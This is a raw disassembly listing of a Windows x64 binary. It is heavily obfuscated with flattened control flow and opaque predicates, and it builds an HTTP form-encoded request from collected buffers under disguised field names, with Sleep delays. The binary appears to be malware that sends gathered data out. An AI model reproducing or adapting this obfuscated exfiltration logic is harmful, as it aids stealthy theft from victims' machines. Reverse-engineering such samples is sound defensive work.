test al, al
mov eax, 0xda13b5bc
mov ebx, 0x3c15d74c
cmovne eax, ebx
test dl, dl
mov edx, 0xda13b5bc
cmove eax, edx
test cl, cl
jmp 0x14004596d
mov rax, qword [rbp + 0x140]
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0xb958a4b8
mov ecx, 0x5fde8d51
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0xb958a4b8
jmp 0x140048196
mov eax, 0x5d3c863e
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0xbc8d2477
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0xdd8f47d8
mov edi, 0x334a0f09
jmp 0x140047317
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne cl
cmp dword [0x14008ec1c], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
mov eax, 0x6e4722f5
mov ecx, 0x59c23595
cmovne eax, ecx
test dl, dl
mov ecx, 0x6e4722f5
cmovne ecx, eax
test bl, bl
jmp 0x1400449b3
mov eax, 0x4b8934ab
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x3915aada
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
mov eax, 0xbbe553d2
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0x5313c1d3
mov eax, 0x33e25b7d
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x5313c1d3
jmp 0x14004064a
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x97da5160
mov edx, eax
and edx, 0x6825ae9f
or edx, ecx
xor edx, 0x6825ae9e
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x2fd810a1
and eax, 0xd027ef5e
or eax, ecx
xor eax, 0xd027ef5e
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, eax
xor dl, cl
and cl, al
or cl, dl
mov eax, ecx
xor al, dl
mov ebx, 0x5e9b7786
mov eax, 0x3ad10ea4
cmovne ebx, eax
test cl, cl
mov eax, 0x5e9b7786
jmp 0x1400470d4
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
mov edx, 0x967f26d6
mov eax, 0x897e4af0
cmovne edx, eax
test cl, cl
mov eax, 0x967f26d6
jmp 0x140044b27
cmp byte [rbp + 0x157], 0
mov eax, 0xcf446d25
mov ecx, 0x6d48f0b5
jmp 0x140047ec4
mov eax, 0xf5477b9a
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x7033832a
mov ebx, 0x2dc0d271
cmovne ecx, ebx
test al, al
mov eax, ecx
cmovne eax, ebx
jmp 0x140047f42
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x40d11427
and edx, 0xbf2eebd8
or edx, ebx
xor edx, 0xbf2eebd9
xor eax, edx
test eax, edx
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, dl
mov eax, 0x23c56372
mov edx, 0x29293df5
cmovne eax, edx
test cl, cl
cmovne eax, edx
test bl, bl
mov ecx, 0x23c56372
jmp 0x140047ec4
sub rsp, 0x20
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xe926f519
and ecx, 0x16d90ae6
or ecx, eax
mov eax, ecx
xor eax, 0x16d90ae6
and eax, 0xfffffffe
xor ecx, 0xe926f518
or ecx, eax
mov eax, ecx
not eax
and eax, 0x2d755318
and ecx, 0xd28aace7
or ecx, eax
xor ecx, 0xd28aace7
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x1be63de7
mov ebx, 0x172327fc
cmovne eax, ebx
test cl, cl
mov ecx, 0x1be63de7
cmovne ecx, eax
test dl, dl
jmp 0x1400449b3
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0x8d3935a9
mov edi, 0x2cf41cf2
jmp 0x140047317
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xbacced05
and edx, 0x453312fa
or edx, eax
mov eax, edx
xor eax, 0x453312fa
and eax, 0xfffffffe
xor edx, 0xbacced04
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0xdf407750
mov eax, 0xe3e1e8a7
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0xdf407750
jmp 0x14004064a
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov ebx, 0x6d3426b1
mov eax, 0x90b222eb
cmovne ebx, eax
test dl, dl
mov eax, 0x6d3426b1
cmovne eax, ebx
jmp 0x140047fd0
mov eax, 0x9cc26143
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
mov edx, 0xd05a5478
mov eax, 0x5f247e45
cmovne edx, eax
test cl, cl
mov eax, 0xd05a5478
jmp 0x140044b27
cmp byte [rbp + 0x156], 0
mov eax, 0x95e7af1d
mov ecx, 0x6ddba36c
jmp 0x140047ec4
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfdfd8421
and edx, 0x2027bde
or edx, ebx
xor edx, 0xfdfd8420
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0x5e807a09
mov eax, 0xbcfe510f
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x5e807a09
jmp 0x14004064a
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x65ccdbd8
mov edx, 0xe5f58ced
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0x65ccdbd8
cmove ecx, eax
mov eax, ecx
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xbfe9540b
and edx, 0x4016abf4
or edx, ebx
xor edx, 0xbfe9540a
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xf2b90c9e
mov ebx, 0x21ab2b05
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0xf2b90c9e
jmp 0x140047406
mov eax, 0xcd2c7b19
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x190116e
mov edi, 0x4b8934ab
cmovne eax, edi
test dl, dl
mov ecx, 0x190116e
cmove eax, ecx
test bl, bl
cmovne eax, edi
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
mov edx, 0x17224c4b
mov eax, 0x7352bbe2
cmovne edx, eax
test cl, cl
mov eax, 0x17224c4b
cmovne eax, edx
test bl, bl
jmp 0x140044bd9
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8a952a9d
and edx, 0x756ad562
or edx, ecx
mov ecx, edx
xor ecx, 0x756ad562
xor edx, 0x142289
and edx, 0x213c62c9
mov ebx, ecx
and ebx, 0xdec39d36
or ebx, edx
xor ebx, 0xdec39d37
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xfb271661
and ecx, 0x4d8e99e
or ecx, edx
xor ecx, 0x4d8e99e
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, ebx
or bl, dl
and dl, al
and cl, r8b
or cl, dl
xor al, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
mov edx, 0xbbcbb5fd
mov eax, 0x1756f476
cmovne edx, eax
test bl, bl
mov eax, 0xbbcbb5fd
cmovne eax, edx
test cl, cl
cmove eax, edx
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0xe39c15f1
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
mov eax, 0x6d3426b1
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp byte [rbp + 0x12f], 0
mov eax, 0xd41f6869
jmp 0x140047342
mov eax, 0x5e807a09
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
movups xmmword [0x14008732a], xmm6
movaps xmmword [0x140087320], xmm6
movaps xmmword [0x140087310], xmm6
movaps xmmword [0x140087300], xmm6
movaps xmmword [0x1400872f0], xmm6
movaps xmmword [0x1400872e0], xmm6
movaps xmmword [0x1400872d0], xmm6
movaps xmmword [0x1400872c0], xmm6
movaps xmmword [0x1400872b0], xmm6
movaps xmmword [0x1400872a0], xmm6
movaps xmmword [0x140087290], xmm6
movaps xmmword [0x140087280], xmm6
movaps xmmword [0x140087270], xmm6
movaps xmmword [0x140087260], xmm6
movaps xmmword [0x140087250], xmm6
movaps xmmword [0x140087240], xmm6
movaps xmmword [0x140086fc0], xmm6
movaps xmmword [0x140086fd0], xmm6
movaps xmmword [0x140086fe0], xmm6
movaps xmmword [0x140086ff0], xmm6
movaps xmmword [0x140087000], xmm6
movaps xmmword [0x140087010], xmm6
movaps xmmword [0x140087020], xmm6
movaps xmmword [0x140087030], xmm6
movaps xmmword [0x140087040], xmm6
movaps xmmword [0x140087050], xmm6
movaps xmmword [0x140087060], xmm6
movaps xmmword [0x140087070], xmm6
movaps xmmword [0x140087080], xmm6
movaps xmmword [0x140087090], xmm6
movaps xmmword [0x1400870a0], xmm6
movups xmmword [0x1400870aa], xmm6
movaps xmmword [0x1400871e0], xmm6
movaps xmmword [0x1400871d0], xmm6
movaps xmmword [0x1400871c0], xmm6
mov word [0x1400871f0], 0
movaps xmmword [0x14008ec40], xmm6
movaps xmmword [0x14008ec50], xmm6
movaps xmmword [0x14008ec60], xmm6
mov word [0x14008ec70], 0
movaps xmmword [0x140086f40], xmm6
movaps xmmword [0x140086f50], xmm6
movaps xmmword [0x140086f60], xmm6
mov word [0x140086f70], 0
movaps xmmword [0x140081b60], xmm6
mov dword [0x140081b70], 0
movaps xmmword [0x140087460], xmm6
movaps xmmword [0x140087470], xmm6
movaps xmmword [0x140087480], xmm6
movaps xmmword [0x140087490], xmm6
movaps xmmword [0x1400874a0], xmm6
movaps xmmword [0x1400874b0], xmm6
movaps xmmword [0x1400874c0], xmm6
movaps xmmword [0x1400874d0], xmm6
movaps xmmword [0x1400874e0], xmm6
movaps xmmword [0x1400874f0], xmm6
movaps xmmword [0x140087500], xmm6
movaps xmmword [0x140087510], xmm6
movaps xmmword [0x140087520], xmm6
movaps xmmword [0x140087530], xmm6
movaps xmmword [0x140087540], xmm6
movups xmmword [0x14008754a], xmm6
sub rsp, 0x20
mov r8d, 0x2710
lea rax, [0x140082120]
mov rcx, rax
mov rdi, rax
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x18]
sub rsp, 0x20
mov r8d, 0x3a98
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7530
lea rax, [0x1400876a0]
mov rcx, rax
xor edx, edx
call fcn.140059c80
add rsp, 0x20
movaps xmmword [0x140082080], xmm6
movaps xmmword [0x140082090], xmm6
movaps xmmword [0x1400820a0], xmm6
movaps xmmword [0x1400820b0], xmm6
movaps xmmword [0x1400820c0], xmm6
movaps xmmword [0x1400820d0], xmm6
mov dword [0x1400820e0], 0
sub rsp, 0x20
mov r8d, 0x3e8
lea rcx, [0x140081be0]
xor edx, edx
call fcn.140059c80
add rsp, 0x20
movabs rax, 0x657079542d746e65
mov qword [0x140081be4], rax
mov word [0x140081bec], 0x203a
mov byte [0x140081bee], 0x61
movups xmmword [0x140081bf2], xmm7
mov word [0x140081c07], 0x656c
mov word [0x140081bef], 0x7070
mov byte [0x140081bf1], 0x6c
movabs rax, 0xa0d6465646f636e
mov qword [0x140081c09], rax
mov dword [0x140081be0], 0x746e6f43
mov dword [0x140081c02], 0x752d6d72
mov byte [0x140081c06], 0x72
mov byte [0x140082060], 0
mov dword [0x140082046], 0x656f6655
mov byte [0x14008204a], 0x78
mov dword [0x140082040], 0x6d646179
mov word [0x140082044], 0x4477
mov dword [0x14008205c], 0x6d665577
movups xmmword [0x14008204b], xmm8
mov byte [0x14008205b], 0x74
mov word [0x140082077], 0x5a
mov dword [0x140082073], 0x505a4855
mov word [0x140082070], 0x6a53
mov byte [0x140082072], 0x4b
movaps xmmword [0x140081fe0], xmm9
movabs rax, 0x6e0069002e0075
mov qword [0x140081ff0], rax
mov dword [0x140081ff8], 0x6f0066
sub rsp, 0x20
call fcn.14001fe90
sub rsp, 0x30
mov qword [rsp + 0x48], rdi
lea r14, [0x140086f40]
mov qword [rsp + 0x40], r14
lea r15, [0x1400871c0]
mov qword [rsp + 0x38], r15
lea r12, [0x140087460]
mov qword [rsp + 0x30], r12
lea r13, [0x140081b60]
mov qword [rsp + 0x28], r13
lea r12, [0x140086fc0]
mov qword [rsp + 0x20], r12
mov edx, 0x3a98
mov rcx, rsi
lea r8, str.umnome_ls__pmjodf_ls__idkdfjej_ls__vrjdmej_ls__ndlpeip_ls__cokenme_ls__mkeoldkf_ls
lea rdi, [0x140087240]
mov r9, rdi
call fcn.14002be10
add rsp, 0x50
mov rax, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
mov rcx, rdi
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
lea rbx, [0x1400876a0]
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x3d656d6f6e6d75
mov qword [rax + rbx], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
lea r14, [0x140082040]
mov rcx, r14
xor edx, edx
lea r15, [0x140082070]
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x28]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
mov rcx, r12
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x646f6a6d70262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 7], 0x3d6664
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x30]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
mov rcx, r13
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x66646b6469262020
mov qword [rax + rbx], rcx
movabs rcx, 0x3d6a656a66646b
mov qword [rax + rbx + 5], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
lea rcx, [0x140082080]
mov rdx, rdi
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x38]
mov rsi, qword [rbp + 0x38]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
lea rcx, [0x140087460]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x6d646a7276262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 8], 0x3d6a65
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x40]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
lea rcx, [0x1400871c0]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x65706c646e262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 8], 0x3d7069
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rsi, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x7d0
lea rcx, [0x140086f40]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x6e656b6f63262020
mov qword [rax + rbx], rcx
mov dword [rax + rbx + 8], 0x3d656d
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
add rsp, 0x20
mov rax, qword [rbp + 0x50]
mov rsi, qword [rbp + 0x50]
sub rsp, 0x20
mov r8d, 0x3a98
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov r8d, 0x3a98
lea rcx, [0x140082120]
mov rdx, rsi
call fcn.140010710
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, rbx
call fcn.140060a40
add rsp, 0x20
movabs rcx, 0x6c6f656b6d262020
mov qword [rax + rbx], rcx
movabs rcx, 0x3d666b646c6f65
mov qword [rax + rbx + 5], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r14
xor edx, edx
mov r8, r15
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rax
call fcn.140060850
mov rcx, rsi
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rax, qword [rbp + 0x58]
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x424b2629
mov eax, edx
and eax, 0xbdb4d9d6
or eax, ebx
xor eax, 0xbdb4d9d7
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
setne r8b
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov edx, ebx
or bl, al
and al, cl
and dl, r8b
or dl, al
xor cl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0x9352e967
mov ebx, 0xfae6a22
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0x9352e967
jmp 0x140048196
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x95b7e3d9
and edx, 0x6a481c26
or edx, eax
xor edx, 0x6a481c26
setne r8b
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov edx, ebx
or bl, al
and al, cl
and dl, r8b
or dl, al
xor cl, r8b
xor bl, 1
or bl, cl
mov eax, ebx
xor al, dl
mov ecx, 0x368ac921
mov eax, 0xd6c9dc7b
cmovne ecx, eax
test bl, bl
mov eax, 0x368ac921
jmp 0x140047f3f
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa5e60725
and ecx, 0x5a19f8da
or ecx, edx
xor ecx, 0x5a19f8db
xor eax, ecx
